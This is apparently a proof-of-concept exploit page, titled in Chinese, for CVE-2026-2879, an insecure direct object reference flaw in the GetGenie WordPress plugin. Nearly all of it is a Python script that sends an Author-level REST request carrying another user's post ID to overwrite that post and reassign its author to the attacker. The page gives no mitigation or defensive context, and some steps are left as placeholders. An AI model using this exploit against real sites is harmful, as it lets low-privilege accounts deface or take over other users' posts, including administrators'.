CVE-2026-2879 GetGenie WordPress插件IDOR漏洞可覆盖任意用户帖子

import requests import json # CVE-2026-2879 PoC - GetGenie IDOR Vulnerability # Target: WordPress site with GetGenie plugin <= 4.3.2 target_url = "http://target-wordpress-site.com" api_endpoint = f"{target_url}/wp-json/getgenie-chat/v1/chat" # Authentication: Use valid WordPress account with Author+ role session = requests.Session() # Step 1: Authenticate and get nonce # Login to WordPress admin login_url = f"{target_url}/wp-login.php" credentials = { "log": "attacker_username", "pwd": "attacker_password" } # Step 2: Get REST API nonce from admin dashboard # Extract nonce from wp-api nonce or use application password # Step 3: Identify target post ID to overwrite # Target any post (including posts by administrators) target_post_id = "123" # Replace with actual post ID to target # Step 4: Exploit IDOR vulnerability headers = { "Content-Type": "application/json", "X-WP-Nonce": "your-api-nonce" # Obtain via wp_rest nonce } payload = { "id": target_post_id, # IDOR: No ownership validation "name": "Malicious Chat", "content": "Compromised content via IDOR" } response = session.post( api_endpoint, headers=headers, json=payload ) if response.status_code == 200: print("[+] IDOR Exploit Successful!") print(f"[+] Post ID {target_post_id} has been modified") print(f"[+] post_type changed to 'getgenie_chat'") print(f"[+] post_author changed to attacker ID") else: print(f"[-] Exploit Failed: {response.status_code}") print(response.text)